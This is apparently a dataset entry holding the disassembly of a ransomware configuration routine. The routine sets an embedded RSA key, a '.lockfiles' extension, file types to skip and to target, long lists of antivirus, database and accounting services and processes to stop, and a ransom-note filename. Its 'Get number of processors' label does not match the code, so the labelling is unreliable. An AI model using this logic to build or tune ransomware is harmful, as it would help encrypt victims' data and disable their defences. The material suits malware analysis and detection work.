Function at 0x411930
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x470d40
mov eax, dword fs:[0]
push eax
sub esp, 0x94
mov eax, dword [0x49f074]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], ecx
push str.BgIAAACkAABSU0ExAAgAAAEAAQCV9LvY1a2rVQQKmHIYxXwltivcgEVoGHGSlKiHlpscysu4TFFZjGnMZGNZWTRb7nMG3dbHsFAtpEqANZtrFEa7qB93oCcKf2tekVmX8LvN3iaucvPjMyGmt9pVa_t7B4lrASmVHYi0srzzdQ8TkIc26mzHrrZWx3RMQbz6Elsifb2Z1fwTdpnQUJ4Otq5pxlzifT2tsB8jMTJv59N7owqCYivCq9bToZrfUdmnX2shzyaAe6axPaVArV_j2_iRk83i2piMda86GD87AryP5fTYApA2cCP2hicRWHNCFBJW5hne5doonZ9y2gn509GMxYv9qAhB2x8a9i8p6X
mov ecx, dword [ebp - 0x10]
call fcn.00408000
push str..lockfiles
lea ecx, [ebp - 0x28]
call fcn.00408000
lea eax, [ebp - 0x28]
push eax
mov ecx, dword [ebp - 0x10]
add ecx, 0x18
push ecx
mov ecx, dword [ebp - 0x10]
call fcn.00411b00
lea ecx, [ebp - 0x28]
call fcn.00407f50
push str..dll_.sys_.ini_.rdp_.encrypted_.exe_.netlock_.mamai_.skylock_.acessd_.legacy_.lockfiles_.locknet8_.locknet20_.netlock_.locknet11_.locknet12_.locknet13_.locknet14_.locknet15_.zeromo_.locknet16_.lockfiles_.deadfiles_.mlocknet_.encrypted_.infected_.deadnet31_.nethazard4_.infected_.hazard14_.hazard15_.hazard23_.hazard19_.locknet_.hazard17_.hazard30_.hazard34_.hazard17_.hazard20_.infected_.hazard38_.hazard4_.hazard6_.hazard34_.hazard6_.hazard13_.infected_.hazard1_.hazard2_.hazard3_.hazard4_.hazard5_.hazard6_.bulock1_.bulock2_.bulock3_.bulock4_.bulock5_.bulock6_.bulock7_.bulock8_.bulock9_.bulock10_.bulock11_.bulock12_.bulock13_.bulock14_.bulock15_.bulock16_.bulock17_.bulock18_.bulock19_.bulock20_.bulock21_.bulock22_.bulock23_.bulock24_.bulock25_.bulock26_.bulock27_.bulock28_.bulock29_.bulock30_.bulock31_.bulock32_.bulock33_.bulock34_.bulock35_.bulock36_.bulock37_.bulock38_.bulock39_.bulock40_.bulock41_.bulock42_.bulock43_.bulock44_.bulock45_.bulock46_.bulock47_.bulock48_.bulock49_.bulock50_.lulock1_.lulock2_.lulock3_.lulock4_.lulock5_.lulock6_.lulock7_.lulock8_.lulock9_.lulock10_.lulock11_.lulock12_.lulock13_.lulock14_.lulock15_.lulock16_.lulock17_.lulock18_.lulock19_.lulock20_.lulock21_.lulock22_.lulock23_.lulock24_.lulock25_.lulock26_.lulock27_.lulock28_.lulock29_.lulock30_.lulock31_.lulock32_.lulock33_.lulock33_.lulock34_.lulock35_.lulock36_.lulock37_.lulock38_.lulock39_.lulock40_.lulock41_.lulock42_.lulock43_.lulock44_.lulock45_.lulock46_.lulock47_.lulock48_.lulock49_.lulock50_.hazard7_.hazard8_.hazard9_.hazard10_.hazard11_.hazard12_.hazard13_.hazard14_.hazard15_.infected_.hazard40_.infected_.hazard42_.hazard53_.hazard58_.hazard69_.hazard77_.lockfiles_.infected_.hazard47_.hazard62_.hazard65_.hazard73_.hazard23_.lockfiles_
lea ecx, [ebp - 0x40]
call fcn.00408000
push 0x2c
lea edx, [ebp - 0x40]
push edx
mov eax, dword [ebp - 0x10]
add eax, 0x30
push eax
mov ecx, dword [ebp - 0x10]
call fcn.00411d20
lea ecx, [ebp - 0x40]
call fcn.00407f50
push str..sql_.mdf
lea ecx, [ebp - 0x58]
call fcn.00408000
push 0x2c
lea ecx, [ebp - 0x58]
push ecx
mov edx, dword [ebp - 0x10]
add edx, 0x3c
push edx
mov ecx, dword [ebp - 0x10]
call fcn.00411d20
lea ecx, [ebp - 0x58]
call fcn.00407f50
push str.wrapper_DefWatch_ccEvtMgr_ccSetMgr_SavRoam_sqlservr_sqlagent_sqladhlp_Culserver_RTVscan_sqlbrowser_SQLADHLP_QBIDPService_Intuit.QuickBooks.FCS_QBCFMonitorService_sqlwriter_msmdsrv_tomcat6_zhudongfangyu_SQLADHLP_vmware_usbarbitator64_vmware_converter_dbsrv12_dbeng8
lea ecx, [ebp - 0x70]
call fcn.00408000
push 0x2c
lea eax, [ebp - 0x70]
push eax
mov ecx, dword [ebp - 0x10]
add ecx, 0x48
push ecx
mov ecx, dword [ebp - 0x10]
call fcn.00411d20
lea ecx, [ebp - 0x70]
call fcn.00407f50
push str.wxServer.exe_wxServerView_sqlservr.exe_sqlmangr.exe_RAgui.exe_supervise.exe_Culture.exe_RTVscan.exe_Defwatch.exe_sqlbrowser.exe_winword.exe_QBW32.exe_QBDBMgr.exe_qbupdate.exe_QBCFMonitorService.exe_axlbridge.exe_QBIDPService.exe_httpd.exe_fdlauncher.exe_MsDtSrvr.exe_tomcat6.exe_java.exe_360se.exe_360doctor.exe_wdswfsafe.exe_fdlauncher.exe_fdhost.exe_GDscan.exe_ZhuDongFangYu.exe
lea ecx, [ebp - 0x88]
call fcn.00408000
push 0x2c
lea edx, [ebp - 0x88]
push edx
mov eax, dword [ebp - 0x10]
add eax, 0x54
push eax
mov ecx, dword [ebp - 0x10]
call fcn.00411d20
lea ecx, [ebp - 0x88]
call fcn.00407f50
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 0x60], 0xf
push str.HOW_TO_BACK_FILES.html
lea ecx, [ebp - 0xa0]
call fcn.00408000
lea edx, [ebp - 0xa0]
push edx
mov eax, dword [ebp - 0x10]
add eax, 0x64
push eax
mov ecx, dword [ebp - 0x10]
call fcn.00411b00
lea ecx, [ebp - 0xa0]
call fcn.00407f50
mov ecx, dword [ebp - 0x10]
add ecx, 0x7c
push ecx
mov ecx, dword [ebp - 0x10]
call fcn.00411f30
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret